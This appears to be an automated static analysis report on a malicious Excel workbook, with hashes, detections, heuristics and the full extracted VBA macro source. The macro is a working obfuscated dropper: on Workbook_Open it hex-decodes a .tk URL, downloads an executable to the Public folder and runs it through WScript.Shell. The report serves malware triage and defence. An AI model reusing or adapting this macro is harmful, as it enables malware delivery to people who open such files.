Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c704cee668058193…

MALICIOUS

Office (OOXML)

117.5 KB First seen: 2020-09-07
MD5: 2fb64cb04d1accdb108d99874cde0e43 SHA-1: ebbca2b27963093a2632036122e92b6375e5958b SHA-256: c704cee668058193d6349efff9555def1d296e21350a3a6e1e63acc996a4909a
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a Workbook_Open VBA macro that is obfuscated and designed to execute automatically. This macro uses CreateObject to download a file from the URL "http://reokayty-71.tk/sql/hedrtfw.exe" and save it for execution, indicating a dropper functionality. ClamAV detections further confirm its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.write nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Range("A6:J13").Select
    Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Range("A6:J13").Select
    Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6596 bytes
SHA-256: 50bf7290ce7df0988a4df857561ad0c06e2e2673ebec9fa8012861fa68697087
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select 
mdwqzdxecicghmegskpnuxhieothwoqsbrclpjhljgyrilnfkklnqaqpwnmkkqhorjeqksricddnyqzsbnwmcdbbbmpbxwbtzkzy"68 74 74 70 3A 2F 2F 72 65 6F 6B 61 79 74 79 2D 37 31 2E 74 6B 2F 73 71 6C 2F 68 65 64 72 74 66 77 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub mdwqzdxecicghmegskpnuxhieothwoqsbrclpjhljgyrilnfkklnqaqpwnmkkqhorjeqksricddnyqzsbnwmcdbbbmpbxwbtzkzy (ndhbxalezegvcslbzyysovywlpztzxeujtysgodumnxmszdajftmehgselqiaseczmlittulvdfbxldmlyjudsqcngnvyvtuivmg As String)
Dim nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs
  Range("A6:J13").Select 
Dim bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc
  Range("A6:J13").Select 
Dim nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq
  Range("A6:J13").Select 
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select 
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
gquylelsmmgzlklzuheroslyionwmiqotanevsbziysnonvpdxumqdnnfwqwqpfevsglxhebffipzxjutxspnexpmzzzceittosv = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf(ndhbxalezegvcslbzyysovywlpztzxeujtysgodumnxmszdajftmehgselqiaseczmlittulvdfbxldmlyjudsqcngnvyvtuivmg)
hksvttgkvyohmwdtwqrrvqyxifzbxpvlfomifxvuxnuolrmgapwdxbarmvnntfngccbxjunzuxtivjlqstaissoeouwkjiaszomi = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 64 7A 6D 71 65 69 78 70 2e 65 78 65")
ppwgbwjzhswcjwuaffnjoxjoxdplwaigwdadwtgwjowwyuannanubcusfhixgxdgjpfgvrdlyraaamqdccywnnfuiixoliplkpmj = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 64 7A 6D 71 65 69 78 70 2e 65 78 65")
nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.Open chr(71) + chr(69) + chr(84), gquylelsmmgzlklzuheroslyionwmiqotanevsbziysnonvpdxumqdnnfwqwqpfevsglxhebffipzxjutxspnexpmzzzceittosv, False
nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.send
bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.Type = 1
bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.Open
bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.write nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.responseBody
bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.savetofile hksvttgkvyohmwdtwqrrvqyxifzbxpvlfomifxvuxnuolrmgapwdxbarmvnntfngccbxjunzuxtivjlqstaissoeouwkjiaszomi, 2
nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq.Run ppwgbwjzhswcjwuaffnjoxjoxdplwaigwdadwtgwjowwyuannanubcusfhixgxdgjpfgvrdlyraaamqdccywnnfuiixoliplkpmj
End Sub
Public Function hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf(ByVal cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld As String) As String
Dim ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh As String
Dim oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit As String
Dim dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc As Long
For dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc = 1 To Len(cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld)Step 3
        ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh = Chr$(Val("&H" & Mid$(cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld, dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc, 2)))
        oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit = oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit & ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh
    Next dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc
hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf = oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit
End Function

Attribute VB_Name = "ourwwcvkbtrtreuezhtwjlxnt"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: a29d20325d24f48fa02c3c6b494217128ad9326240a4047144b998bbd7ef9a06
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: likely
127 of 203 identifiers look randomly generated (e.g. 'ourwwcvkbtrtreuezhtwjlxnt') — consistent with name-mangling obfuscation.